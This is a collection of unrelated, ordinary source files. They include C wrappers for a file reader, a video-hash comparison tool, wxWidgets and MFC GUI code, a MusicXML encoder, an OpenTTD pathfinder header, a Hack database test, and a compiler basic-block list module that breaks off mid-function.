void f_generalfilereader_getvariable_(int * id, const char * variable, float * variableData)
{
GeneralFileReader_getVariable(*id, variable, variableData);
}
void f_generalfilereader_getvariablebyid_(int * id, long * variableID, float * variableData)
{
GeneralFileReader_getVariableByID(*id, *variableID, variableData);
}
void f_generalfilereader_getvariablesubrange_(int * id, const char * variable, long * startIndex, long * count, float * variableData)
{
GeneralFileReader_getVariableSubRange(*id, variable, *startIndex, *count, variableData);
}
void f_generalfilereader_getvariablebyidsubrange_(int * id, long * variableID, long * startIndex, long * count, float * variableData)
{
GeneralFileReader_getVariableByIDSubRange(*id, *variableID, *startIndex, *count, variableData);
}
void f_generalfilereader_getvariableid_(int * id, const char * variable, long * status)
{
*status = GeneralFileReader_getVariableID(*id, variable);
}
void f_generalfilereader_getvariableint(int id, const char * variable, int * variableData)
{
}
void f_generalfilereader_getnumberofglobalattributes(long * num)
{
}
void f_generalfilereader_getnumberofvariables(long * num)
{
}
void f_generalfilereader_getnumberofvariableattributes(long * num)
{
}
void f_generalfilereader_getnumberofrecords(int * id, const char * variable, long * num)
{
}
void f_generalfilereader_getnumberofrecordsbyid(int * id, long * variable_id, long * num)
{
}
void f_generalfilereader_close_(int * id, long * status)
{
*status = GeneralFileReader_close(*id);
}
void f_generalfilereader_delete_(int * id, long * status)
{
*status = GeneralFileReader_delete(*id);
}
| 2,195 | 749 |
// ================================================================
// Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
// ================================================================
// ================================================================
// Given a pair of `.tmk` files (see section below on file formats), computes
// the cosine-similarity score of their time-average 'coarse' features, and the
// optimal detected time-shift (modulo periods) between the two videos.
// ================================================================
#include <tmk/cpp/algo/tmkfv.h>
#include <tmk/cpp/lib/vec.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
using namespace facebook::tmk;
using namespace facebook::tmk::algo;
// ================================================================
void usage(char* argv0, int exit_rc) {
FILE* fp = (exit_rc == 0) ? stdout : stderr;
fprintf(
fp, "Usage: %s [options] {TMK file name 1} {TMK file name 2}\n", argv0);
fprintf(fp, "Options:\n");
fprintf(fp, "-v|--verbose Print details of K-delta results.\n");
exit(exit_rc);
}
// ================================================================
int main(int argc, char** argv) {
bool printDetails = false;
int argi = 1;
while ((argi < argc) && argv[argi][0] == '-') {
char* flag = argv[argi++];
if (!strcmp(flag, "-h") || !strcmp(flag, "--help")) {
usage(argv[0], 0);
} else if (!strcmp(flag, "-v") || !strcmp(flag, "--verbose")) {
printDetails = true;
} else {
usage(argv[0], 1);
}
}
if ((argc - argi) != 2) {
usage(argv[0], 1);
}
char* tmkFileNameA = argv[argi];
char* tmkFileNameB = argv[argi + 1];
std::shared_ptr<TMKFeatureVectors> pfva =
TMKFeatureVectors::readFromInputFile(tmkFileNameA, argv[0]);
std::shared_ptr<TMKFeatureVectors> pfvb =
TMKFeatureVectors::readFromInputFile(tmkFileNameB, argv[0]);
if (pfva == nullptr || pfvb == nullptr) { // error message already printed out
exit(1);
}
if (!TMKFeatureVectors::areCompatible(*pfva, *pfvb)) {
fprintf(
stderr,
"%s: immiscible provenances:\n%s\n%s\n",
argv[0],
tmkFileNameA,
tmkFileNameB);
exit(1);
}
float cosSim = facebook::tmk::libvec::computeCosSim(
pfva->getPureAverageFeature(), pfvb->getPureAverageFeature());
printf("%.6f\n", cosSim);
facebook::tmk::algo::Periods periods = pfva->getPeriods();
facebook::tmk::algo::BestOffsets bestOffsets;
facebook::tmk::algo::ValuesAtBestOffsets valuesAtBestOffsets;
TMKFeatureVectors::findPairOffsetsModuloPeriods(
*pfva, *pfvb, bestOffsets, valuesAtBestOffsets, printDetails);
for (int i = 0; i < periods.size(); i++) {
// Here, unscaled to [0,1]
printf(
"%d mod %d: %.6f\n",
bestOffsets[i],
periods[i],
valuesAtBestOffsets[i]);
}
return 0;
}
| 2,907 | 1,011 |
/////////////////////////////////////////////////////////////////////////////
// Name: src/common/checkboxcmn.cpp
// Purpose: wxCheckBox common code
// Author: Julian Smart
// Modified by:
// Created: 04/01/98
// RCS-ID: $Id$
// Copyright: (c) Julian Smart
// Licence: wxWindows licence
/////////////////////////////////////////////////////////////////////////////
// ============================================================================
// declarations
// ============================================================================
// ----------------------------------------------------------------------------
// headers
// ----------------------------------------------------------------------------
// For compilers that support precompilation, includes "wx.h".
#include "wx/wxprec.h"
#ifdef __BORLANDC__
#pragma hdrstop
#endif
#if wxUSE_CHECKBOX
#include "wx/checkbox.h"
extern WXDLLEXPORT_DATA(const char) wxCheckBoxNameStr[] = "check";
// ----------------------------------------------------------------------------
// XTI
// ----------------------------------------------------------------------------
wxDEFINE_FLAGS( wxCheckBoxStyle )
wxBEGIN_FLAGS( wxCheckBoxStyle )
// new style border flags, we put them first to
// use them for streaming out
wxFLAGS_MEMBER(wxBORDER_SIMPLE)
wxFLAGS_MEMBER(wxBORDER_SUNKEN)
wxFLAGS_MEMBER(wxBORDER_DOUBLE)
wxFLAGS_MEMBER(wxBORDER_RAISED)
wxFLAGS_MEMBER(wxBORDER_STATIC)
wxFLAGS_MEMBER(wxBORDER_NONE)
// old style border flags
wxFLAGS_MEMBER(wxSIMPLE_BORDER)
wxFLAGS_MEMBER(wxSUNKEN_BORDER)
wxFLAGS_MEMBER(wxDOUBLE_BORDER)
wxFLAGS_MEMBER(wxRAISED_BORDER)
wxFLAGS_MEMBER(wxSTATIC_BORDER)
wxFLAGS_MEMBER(wxNO_BORDER)
// standard window styles
wxFLAGS_MEMBER(wxTAB_TRAVERSAL)
wxFLAGS_MEMBER(wxCLIP_CHILDREN)
wxFLAGS_MEMBER(wxTRANSPARENT_WINDOW)
wxFLAGS_MEMBER(wxWANTS_CHARS)
wxFLAGS_MEMBER(wxNO_FULL_REPAINT_ON_RESIZE)
wxFLAGS_MEMBER(wxALWAYS_SHOW_SB )
wxFLAGS_MEMBER(wxVSCROLL)
wxFLAGS_MEMBER(wxHSCROLL)
wxEND_FLAGS( wxCheckBoxStyle )
wxIMPLEMENT_DYNAMIC_CLASS_XTI(wxCheckBox, wxControl, "wx/checkbox.h")
wxBEGIN_PROPERTIES_TABLE(wxCheckBox)
wxEVENT_PROPERTY( Click, wxEVT_COMMAND_CHECKBOX_CLICKED, wxCommandEvent )
wxPROPERTY( Font, wxFont, SetFont, GetFont, wxEMPTY_PARAMETER_VALUE, \
0 /*flags*/, wxT("Helpstring"), wxT("group"))
wxPROPERTY( Label,wxString, SetLabel, GetLabel, wxString(), \
0 /*flags*/, wxT("Helpstring"), wxT("group"))
wxPROPERTY( Value,bool, SetValue, GetValue, wxEMPTY_PARAMETER_VALUE, \
0 /*flags*/, wxT("Helpstring"), wxT("group"))
wxPROPERTY_FLAGS( WindowStyle, wxCheckBoxStyle, long, SetWindowStyleFlag, \
GetWindowStyleFlag, wxEMPTY_PARAMETER_VALUE, 0 /*flags*/, \
wxT("Helpstring"), wxT("group")) // style
wxEND_PROPERTIES_TABLE()
wxEMPTY_HANDLERS_TABLE(wxCheckBox)
wxCONSTRUCTOR_6( wxCheckBox, wxWindow*, Parent, wxWindowID, Id, \
wxString, Label, wxPoint, Position, wxSize, Size, long, WindowStyle )
#endif // wxUSE_CHECKBOX
| 3,188 | 1,085 |
// This is a part of the Microsoft Foundation Classes C++ library.
// Copyright (C) Microsoft Corporation
// All rights reserved.
//
// This source code is only intended as a supplement to the
// Microsoft Foundation Classes Reference and related
// electronic documentation provided with the library.
// See these sources for detailed information regarding the
// Microsoft Foundation Classes product.
#include "stdafx.h"
#include "StateCollection.h"
#include "StateCollectionDoc.h"
#include "StateCollectionView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
static const CString strInfo =
_T("This sample illustrates how to save/load the current configuration on the fly.\r\n")
_T("You can configure two 'environments' - Regular and Debug.\r\n")
_T("Just customize the toolbar/menu/docking bars and select 'Project|Save Debug' or 'Project|Save Regular'.\r\n")
_T("When you want to switch between configurations select 'Project|Load Debug' or 'Project|Load Regular'.\r\n")
_T("When the application is starting up, it loads the default configuration.\r\n\r\n")
_T("Note the use of CWinAppEx::LoadState/SaveState.");
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView
IMPLEMENT_DYNCREATE(CStateCollectionView, CView)
BEGIN_MESSAGE_MAP(CStateCollectionView, CView)
ON_WM_LBUTTONDBLCLK()
ON_WM_CONTEXTMENU()
// Standard printing commands
ON_COMMAND(ID_FILE_PRINT, CView::OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_DIRECT, CView::OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_PREVIEW, OnFilePrintPreview)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView construction/destruction
CStateCollectionView::CStateCollectionView()
{
// TODO: add construction code here
}
CStateCollectionView::~CStateCollectionView()
{
}
BOOL CStateCollectionView::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
return CView::PreCreateWindow(cs);
}
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView drawing
void CStateCollectionView::OnDraw(CDC* pDC)
{
// CStateCollectionDoc* pDoc = GetDocument();
// ASSERT_VALID(pDoc);
const int iOffset = 20;
CFont* pFontOld = (CFont*) pDC->SelectStockObject (DEFAULT_GUI_FONT);
ASSERT (pFontOld != NULL);
CRect rectClient;
GetClientRect (&rectClient);
CRect rectText = rectClient;
rectText.DeflateRect (iOffset, iOffset);
pDC->DrawText (strInfo, rectText, DT_CALCRECT | DT_WORDBREAK);
rectText.OffsetRect ( (rectClient.Width () - rectText.Width () - 2 * iOffset) / 2,
(rectClient.Height () - rectText.Height () - 2 * iOffset) / 2);
CRect rectFrame = rectText;
rectFrame.InflateRect (iOffset, iOffset);
pDC->FillSolidRect (rectFrame, ::GetSysColor (COLOR_INFOBK));
rectFrame.DeflateRect (1, 1);
pDC->Draw3dRect (rectFrame, ::GetSysColor (COLOR_3DSHADOW),
::GetSysColor (COLOR_3DLIGHT));
rectFrame.DeflateRect (2, 2);
pDC->Draw3dRect (rectFrame, ::GetSysColor (COLOR_3DSHADOW),
::GetSysColor (COLOR_3DLIGHT));
pDC->SetTextColor (::GetSysColor (COLOR_INFOTEXT));
pDC->SetBkMode (TRANSPARENT);
pDC->DrawText (strInfo, rectText, DT_WORDBREAK);
pDC->SelectObject (pFontOld);
}
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView printing
void CStateCollectionView::OnFilePrintPreview()
{
AFXPrintPreview (this);
}
BOOL CStateCollectionView::OnPreparePrinting(CPrintInfo* pInfo)
{
// default preparation
return DoPreparePrinting(pInfo);
}
void CStateCollectionView::OnBeginPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
// TODO: add extra initialization before printing
}
void CStateCollectionView::OnEndPrinting(CDC* /*pDC*/, CPrintInfo* /*pInfo*/)
{
// TODO: add cleanup after printing
}
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView diagnostics
#ifdef _DEBUG
void CStateCollectionView::AssertValid() const
{
CView::AssertValid();
}
void CStateCollectionView::Dump(CDumpContext& dc) const
{
CView::Dump(dc);
}
CStateCollectionDoc* CStateCollectionView::GetDocument() // non-debug version is inline
{
ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CStateCollectionDoc)));
return (CStateCollectionDoc*)m_pDocument;
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CStateCollectionView message handlers
void CStateCollectionView::OnLButtonDblClk(UINT /*nFlags*/, CPoint /*point*/)
{
theApp.OnViewDoubleClick (this, IDR_MAINFRAME);
}
void CStateCollectionView::OnContextMenu(CWnd*, CPoint point)
{
theApp.ShowPopupMenu (IDR_CONTEXT_MENU, point, this);
}
| 4,805 | 1,567 |
/*
* Copyright 2021 Aaron Bamberger
* Licensed under BSD 2-clause license
* See LICENSE file at root of source tree,
* or https://opensource.org/licenses/BSD-2-Clause
*/
#ifndef _CREATION_DATE_ATTRIBUTE_H
#define _CREATION_DATE_ATTRIBUTE_H
#include "Attributes/StandardAttribute.hh"
#include "Util/ValueWithLocation.hh"
#include "location.hh"
#include <string>
#include <cstdint>
// TODO: Consider rewriting this to use a standard date/time library, such as boost::date
class CreationDateAttribute : public StandardAttribute {
public:
CreationDateAttribute(ValueWithLocation<std::uint16_t> year,
ValueWithLocation<std::uint8_t> month,
ValueWithLocation<std::uint8_t> day,
ValueWithLocation<std::uint8_t> hour,
ValueWithLocation<std::uint8_t> minute,
ValueWithLocation<std::uint8_t> second,
ValueWithLocation<std::int8_t> utc_offset,
yy::location name_location = yy::location());
virtual ~CreationDateAttribute();
private:
ValueWithLocation<std::uint16_t> m_year;
ValueWithLocation<std::uint8_t> m_month;
ValueWithLocation<std::uint8_t> m_day;
ValueWithLocation<std::uint8_t> m_hour;
ValueWithLocation<std::uint8_t> m_minute;
ValueWithLocation<std::uint8_t> m_second;
ValueWithLocation<std::int8_t> m_utc_offset;
};
#endif // _CREATION_DATE_ATTRIBUTE_H
| 1,329 | 514 |
#include <iostream>
using namespace std;
int main(int argc, char** argv) {
int number = 5;
int* pNumber = &number;
cout << "The value of number: " << number << "\n";
cout << "The address of number: " << &number << "\n";
number++;
cout << "The value of number after first increasing: " << number << "\n";
cout << "The address of number after first increasing: " << &number << "\n";
(*pNumber)++;
cout << "The value of number after second increasing: " << number << "\n";
cout << "The address of number after second increasing: " << &number << "\n";
return 0;
}
| 573 | 182 |
/* $Id$ */
/*
* This file is part of OpenTTD.
* OpenTTD is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, version 2.
* OpenTTD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenTTD. If not, see <http://www.gnu.org/licenses/>.
*/
/** @file yapf_node.hpp Node in the pathfinder's graph. */
#ifndef YAPF_NODE_HPP
#define YAPF_NODE_HPP
/** Yapf Node Key that evaluates hash from (and compares) tile & exit dir. */
struct CYapfNodeKeyExitDir {
TileIndex m_tile;
Trackdir m_td;
DiagDirection m_exitdir;
FORCEINLINE void Set(TileIndex tile, Trackdir td)
{
m_tile = tile;
m_td = td;
m_exitdir = (m_td == INVALID_TRACKDIR) ? INVALID_DIAGDIR : TrackdirToExitdir(m_td);
}
FORCEINLINE int CalcHash() const {return m_exitdir | (m_tile << 2);}
FORCEINLINE bool operator == (const CYapfNodeKeyExitDir& other) const {return (m_tile == other.m_tile) && (m_exitdir == other.m_exitdir);}
void Dump(DumpTarget &dmp) const
{
dmp.WriteTile("m_tile", m_tile);
dmp.WriteEnumT("m_td", m_td);
dmp.WriteEnumT("m_exitdir", m_exitdir);
}
};
struct CYapfNodeKeyTrackDir : public CYapfNodeKeyExitDir
{
FORCEINLINE int CalcHash() const {return m_td | (m_tile << 4);}
FORCEINLINE bool operator == (const CYapfNodeKeyTrackDir& other) const {return (m_tile == other.m_tile) && (m_td == other.m_td);}
};
/** Yapf Node base */
template <class Tkey_, class Tnode>
struct CYapfNodeT {
typedef Tkey_ Key;
typedef Tnode Node;
Tkey_ m_key;
Node *m_hash_next;
Node *m_parent;
int m_cost;
int m_estimate;
FORCEINLINE void Set(Node *parent, TileIndex tile, Trackdir td, bool is_choice)
{
m_key.Set(tile, td);
m_hash_next = NULL;
m_parent = parent;
m_cost = 0;
m_estimate = 0;
}
FORCEINLINE Node *GetHashNext() {return m_hash_next;}
FORCEINLINE void SetHashNext(Node *pNext) {m_hash_next = pNext;}
FORCEINLINE TileIndex GetTile() const {return m_key.m_tile;}
FORCEINLINE Trackdir GetTrackdir() const {return m_key.m_td;}
FORCEINLINE const Tkey_& GetKey() const {return m_key;}
FORCEINLINE int GetCost() const {return m_cost;}
FORCEINLINE int GetCostEstimate() const {return m_estimate;}
FORCEINLINE bool operator < (const Node& other) const {return m_estimate < other.m_estimate;}
void Dump(DumpTarget &dmp) const
{
dmp.WriteStructT("m_key", &m_key);
dmp.WriteStructT("m_parent", m_parent);
dmp.WriteLine("m_cost = %d", m_cost);
dmp.WriteLine("m_estimate = %d", m_estimate);
}
};
#endif /* YAPF_NODE_HPP */
| 2,848 | 1,122 |
// MusicXML Class Library
// Copyright (c) by Matthew James Briggs
// Distributed under the MIT License
#include "../impl/EncodingFunctions.h"
#include "../core/Date.h"
#include "../core/elements/Encoder.h"
#include "../core/elements/Encoding.h"
#include "../core/elements/Encoding.h"
#include "../core/elements/EncodingChoice.h"
#include "../core/elements/EncodingDate.h"
#include "../core/elements/EncodingDescription.h"
#include "../core/elements/Identification.h"
#include "../core/elements/Software.h"
#include "../core/elements/Supports.h"
#include "../core/elements/MiscellaneousField.h"
#include "../core/elements/Miscellaneous.h"
namespace mx
{
namespace impl
{
void createEncoding( const api::EncodingData& inEncoding, core::ScoreHeaderGroup& header )
{
auto identification = header.getIdentification();
auto encoding = identification->getEncoding();
if( !inEncoding.encoder.empty() )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
auto item = core::makeEncodingChoice();
item->setChoice( core::EncodingChoice::Choice::encoder );
item->getEncoder()->setValue( core::XsString( inEncoding.encoder ) );
encoding->addEncodingChoice( item );
}
core::Date tryDate{ inEncoding.encodingDate.year, inEncoding.encodingDate.month, inEncoding.encodingDate.day };
const bool isYearValid = inEncoding.encodingDate.year == tryDate.getYear();
const bool isMonthValid = inEncoding.encodingDate.month == tryDate.getMonth();
const bool isDayValid = inEncoding.encodingDate.day == tryDate.getDay();
if( isYearValid || isMonthValid || isDayValid )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
auto item = core::makeEncodingChoice();
item->setChoice( core::EncodingChoice::Choice::encodingDate );
item->getEncodingDate()->setValue( tryDate );
encoding->addEncodingChoice( item );
}
if( !inEncoding.encodingDescription.empty() )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
auto item = core::makeEncodingChoice();
item->setChoice( core::EncodingChoice::Choice::encodingDescription );
item->getEncodingDescription()->setValue( core::XsString( inEncoding.encodingDescription ) );
encoding->addEncodingChoice( item );
}
for( const auto& s : inEncoding.software )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
auto item = core::makeEncodingChoice();
item->setChoice( core::EncodingChoice::Choice::software );
item->getSoftware()->setValue( core::XsString( s ) );
encoding->addEncodingChoice( item );
}
for ( const auto& s : inEncoding.supportedItems )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
auto item = core::makeEncodingChoice();
item->setChoice( core::EncodingChoice::Choice::supports );
auto supports = item->getSupports();
auto attributes = supports->getAttributes();
if ( !s.elementName.empty() )
{
attributes->element.setValue( s.elementName );
}
if ( !s.attributeName.empty() )
{
attributes->hasAttribute = true;
attributes->attribute.setValue( s.attributeName );
}
if ( !s.specificValue.empty() )
{
attributes->hasValue = true;
attributes->value.setValue( s.specificValue );
}
attributes->type = s.isSupported ? core::YesNo::yes : core::YesNo::no;
encoding->addEncodingChoice( item );
}
for ( const auto& m : inEncoding.miscelaneousFields )
{
header.setHasIdentification( true );
identification->setHasEncoding( true );
identification->setHasMiscellaneous( true );
auto item = core::makeMiscellaneousField();
item->getAttributes()->name.setValue( m.key );
item->setValue( core::XsString{ m.value } );
identification->getMiscellaneous()->addMiscellaneousField( item );
}
}
api::EncodingData createEncoding( const core::Encoding& inEncoding )
{
api::EncodingData outEncoding;
bool isDateFound = false;
bool isEncoderFound = false;
bool isDescriptionFound = false;
for( auto ec : inEncoding.getEncodingChoiceSet() )
{
switch( ec->getChoice() )
{
case core::EncodingChoice::Choice::encodingDate:
{
if( !isDateFound )
{
outEncoding.encodingDate.year = ec->getEncodingDate()->getValue().getYear();
outEncoding.encodingDate.month = ec->getEncodingDate()->getValue().getMonth();
outEncoding.encodingDate.day = ec->getEncodingDate()->getValue().getDay();
isDateFound = true;
}
break;
}
case core::EncodingChoice::Choice::encoder:
{
if( !isEncoderFound )
{
outEncoding.encoder = ec->getEncoder()->getValue().getValue();
isEncoderFound = true;
}
break;
}
case core::EncodingChoice::Choice::encodingDescription:
{
if( !isDescriptionFound )
{
outEncoding.encodingDescription = ec->getEncodingDescription()->getValue().getValue();
isDescriptionFound = true;
}
break;
}
case core::EncodingChoice::Choice::software:
{
outEncoding.software.emplace_back( ec->getSoftware()->getValue().getValue() );
break;
}
case core::EncodingChoice::Choice::supports:
{
auto supportsElement = ec->getSupports();
auto attr = supportsElement->getAttributes();
api::SupportedItem item;
item.elementName = attr->element.getValue();
if( attr->hasAttribute )
{
item.attributeName = attr->attribute.getValue();
}
item.isSupported = ( attr->type == core::YesNo::yes );
if( attr->hasValue )
{
item.specificValue = attr->value.getValue();
}
outEncoding.supportedItems.push_back( std::move( item ) );
break;
}
}
}
return outEncoding;
}
}
}
| 7,956 | 1,773 |
<?hh // partial
namespace Test\DBAL;
use Decouple\Test\TestCase;
use Decouple\DBAL\DPDO\DPDOMySQLDriver;
use Decouple\Common\Contract\DB\Schema;
class SchemaTest extends TestCase {
public function execute() : void {
$driver = new DPDOMySQLDriver();
$connected = $driver->connect(Map {
"dbname" => "decouple",
"type" => "mysql",
"host" => "localhost"
}, "decouple", "secret");
$schema = $driver->schema('decouple');
$failed = false;
if(!$schema instanceof Schema) {
$failed = true;
}
$this->assertEquals($failed, false);
}
}
| 584 | 199 |
/*
* Copyright (C) 2009 Advanced Micro Devices, Inc. All Rights Reserved.
*/
/*
Copyright (C) 2000, 2001 Silicon Graphics, Inc. All Rights Reserved.
This program is free software; you can redistribute it and/or modify it
under the terms of version 2 of the GNU General Public License as
published by the Free Software Foundation.
This program is distributed in the hope that it would be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Further, this software is distributed without any warranty that it is
free of the rightful claim of any third person regarding infringement
or the like. Any license provided herein, whether implied or
otherwise, applies only to this software file. Patent licenses, if
any, provided herein do not apply to combinations of this program with
other software, or any other product whatsoever.
You should have received a copy of the GNU General Public License along
with this program; if not, write the Free Software Foundation, Inc., 59
Temple Place - Suite 330, Boston MA 02111-1307, USA.
Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pky,
Mountain View, CA 94043, or:
http://www.sgi.com
For further information regarding this notice, see:
http://oss.sgi.com/projects/GenInfo/NoticeExplan
*/
#include "defs.h"
#include "erglob.h"
#include "mempool.h"
#include "bb.h"
#include "cgtarget.h"
#include "freq.h"
#include "cg.h"
/* Since sizeof(BBLIST) is 12, 670*12 = 8040, which is just under 8K. */
#define BBLISTS_PER_BLOCK 670
#define BBLIST_BLOCK_SIZE (BBLISTS_PER_BLOCK * sizeof(BBLIST))
static BBLIST *BBlist_Free_List = NULL;
static INT num_bblist_buffers = 0;
/* Get a BBLIST item from the free list. If the free list is empty,
* allocate a new block and return the first item in the block.
*/
static BBLIST *
bblist_alloc (void)
{
BBLIST *tmp_list;
BBLIST *cur_item;
INT i;
tmp_list = BBlist_Free_List;
if (tmp_list == NULL) {
/* TODO: we could use Pu_Alloc instead of malloc here. If we do, we
need to make sure to set BBlist_Free_List to NULL whenever we
do a Pu_Free.
*/
tmp_list = (BBLIST *) malloc (BBLIST_BLOCK_SIZE);
num_bblist_buffers++;
if (tmp_list == NULL) {
ErrMsg (EC_No_Mem, "bblist_alloc");
}
cur_item = tmp_list;
for (i = 0; i < BBLISTS_PER_BLOCK - 1; i++) {
BBLIST_next(cur_item) = cur_item + 1;
cur_item++;
}
BBLIST_next(cur_item) = NULL;
}
BBlist_Free_List = BBLIST_next(tmp_list);
BBLIST_prob(tmp_list) = 0.0;
BBLIST_next(tmp_list) = NULL;
BBLIST_flags(tmp_list) = 0;
return tmp_list;
}
#if USE_DEBUG_VERSION
static void
bblist_free (BBLIST *lst)
{
BBLIST *p;
FOR_ALL_BBLIST_ITEMS (BBlist_Free_List, p) {
if (p == lst) printf ("*** ERROR in bblist_free\n");
}
BBLIST_next(lst) = BBlist_Free_List;
BBlist_Free_List = lst;
}
#else
#define bblist_free(lst) \
((BBLIST_next(lst) = BBlist_Free_List), (BBlist_Free_List = lst))
#endif
/* Free 'lst', and put back all its elements to the free list. */
void
BBlist_Free (BBLIST **lst )
{
BBLIST *tmp1, *tmp2;
for (tmp1 = *lst; tmp1 != NULL; tmp1 = tmp2) {
tmp2 = BBLIST_next(tmp1);
bblist_free (tmp1);
}
*lst = NULL;
}
/* returns a count of the number of elements in the list. */
INT
BBlist_Len (BBLIST *lst)
{
INT count = 0;
BBLIST *p;
FOR_ALL_BBLIST_ITEMS (lst, p)
count++;
return count;
}
/* Add the bb to the end of the lst. If bb was already in the lst, don't
add it twice.
*/
BBLIST *
BBlist_Add_BB (BBLIST **lst, BB *bb)
{
BBLIST *p, *last;
p = *lst;
/* check if the lst is empty, If yes put the bb into the list and return. */
if (p == NULL) {
p = bblist_alloc ();
BBLIST_item(p) = bb;
*lst = p;
return p;
}
/* check if the bb is already in the lst. */
last = NULL;
for (;p != NULL; p = BBLIST_next(p)) {
if (BBLIST_item(p) == bb) return p;
last = p;
}
/* Add the bb to the end of the lst. */
p = bblist_alloc ();
BBLIST_item(p) = bb;
BBLIST_next(last) = p;
return p;
}
/* Add the bb to the end of the lst with edge probability <prob>.
* If bb was already in the lst, just increment edge probability.
* Edge probabilities not updated unless FREQ_Frequencies_Computed().
*/
BBLIST *
BBlist_Add_BB_with_Prob (BBLIST **lst, BB *bb, float prob,
BOOL via_feedback, BOOL set_prob
#ifdef KEY
,BOOL via_hint
#endif
,BOOL incr_prob)
{
BBLIST *p, *last;
p = *lst;
/* check if the lst is empty, If yes put the bb into the list and return. */
if (p == NULL) {
p = bblist_alloc ();
BBLIST_item(p) = bb;
if (via_feedback || CG_PU_Has_Feedback) {
BBLIST_prob(p) = prob;
Set_BBLIST_prob_fb_based(p);
} if (set_prob || FREQ_Frequencies_Computed()) {
BBLIST_prob(p) = prob;
#if defined(KEY)
if(via_hint)
Set_BBLIST_prob_hint_based(p);
#endif
Reset_BBLIST_prob_fb_based(p);
}
*lst = p;
return p;
}
/* check if the bb is already in the lst. */
last = NULL;
for (;p != NULL; p = BBLIST_next(p)) {
if (BBLIST_item(p) == bb) {
if (FREQ_Frequencies_Computed() && incr_prob) {
BBLIST_prob(p) += prob;
if (BBLIST_prob(p) >= 1.0f)
BBLIST_prob(p) = 1.0f;
}
return p;
}
last = p;
}
/* Add the bb to the end of the lst. */
p = bblist_alloc ();
BBLIST_item(p) = bb;
BBLIST_next(last) = p;
if (via_feedback || CG_PU_Has_Feedback) {
BBLIST_prob(p) = prob;
Set_BBLIST_prob_fb_based(p);
} if (
#if defined(KEY)
set_prob ||
#endif
FREQ_Frequencies_Computed()) {
BBLIST_prob(p) = prob;
#if defined(KEY)
if(via_hint)
Set_BBLIST_prob_hint_based(p);
#endif
Reset_BBLIST_prob_fb_based(p);
}
return p;
}
static const union { INT32 i; float f; } NaN_u = { 0x7fbfffff };
static const float NaN = NaN_u.f;
void
Link_Pred_Succ (BB *pred, BB *succ)
{
Verify_BB(pred);
Verify_BB(succ);
BBLIST *pedge;
BBlist_Add_BB (&BB_succs(pred), succ);
pedge = BBlist_Add_BB (&BB_preds(succ), pred);
/* Poison probability of pred edge since it is unused.
*/
BBLIST_prob(pedge) = NaN;
}
void
Link_Pred_Succ_with_Prob (BB *pred, BB *succ, float prob,
BOOL via_feedback, BOOL set_prob
#ifdef KEY
, BOOL via_hint
#endif
, BOOL incr_prob
)
{
Verify_BB(pred);
Verify_BB(succ);
BBLIST *pedge;
BBlist_Add_BB_with_Prob (&BB_succs(pred), succ, prob,
via_feedback, set_prob
#ifdef KEY
, via_hint
#endif
, incr_prob
);
pedge = BBlist_Add_BB (&BB_preds(succ), pred);
/* Poison probability of pred edge since it is unused.
*/
BBLIST_prob(pedge) = NaN;
}
/* Delete bb from lst. */
void
BBlist_Delete_BB (BBLIST **lst, BB *bb)
{
BBLIST *p, *last;
last = NULL;
for (p = *lst; p != NULL; p = BBLIST_next(p)) {
if (BBLIST_item(p) == bb) {
if (last == NULL) {
*lst = BBLIST_next(p);
}
else {
BBLIST_next(last) = BBLIST_next(p);
}
bblist_free (p);
break;
}
last = p;
}
}
void
Unlink_Pred_Succ (BB *pred, BB *succ)
{
BBlist_Delete_BB (&BB_succs(pred), succ);
BBlist_Delete_BB (&BB_preds(succ), pred);
}
BBLIST *
BBlist_Find_BB (BBLIST *lst, BB *bb)
/* -----------------------------------------------------------------------
* Returns the BBLIST node in <lst> whose BBLIST_item is <bb>, or NULL
* if there is none.
* -----------------------------------------------------------------------
*/
{
BBLIST *p;
FOR_ALL_BBLIST_ITEMS(lst, p)
if (BBLIST_item(p) == bb) break;
return p;
}
BBLIST *
BBlist_Fall_Thru_Succ (BB *bb)
/* -----------------------------------------------------------------------
* Returns a pointer to the BBLIST <node> in BB_preds(bb) such that
* BBLIST_item(node) is the fall through control flow successor of
* <bb>, or NULL if there is none.
* -----------------------------------------------------------------------
*/
{
BB *next = BB_next(bb);
BBLIST *node = NULL;
if (next && (node = BB_Find_Succ(bb, next))) {
/* Make sure it's not a branch target (direct or indirect). */
OP *br_op = BB_branch_op(bb);
if (br_op) {
INT tfirst, tcount;
CGTARG_Branch_Info(br_op, &tfirst, &tcount);
if (tcount == 0) {
/* Indirect jump - no fall-through succ */
node = NULL;
} else {
TN *dest = OP_opnd(br_op, tfirst);
DevAssert(tcount == 1, ("%d branch targets, expected 1", tcount));
DevAssert(TN_is_label(dest), ("expected label"));
if (Is_Label_For_BB(TN_label(dest), next)) {
/* Remove useless explicit branch to <next> */
BB_Remove_Op(bb, br_op);
} else {
#if defined(TARG_SL)
#ifndef fork_joint
if(!OP_fork(br_op))
#endif
#endif
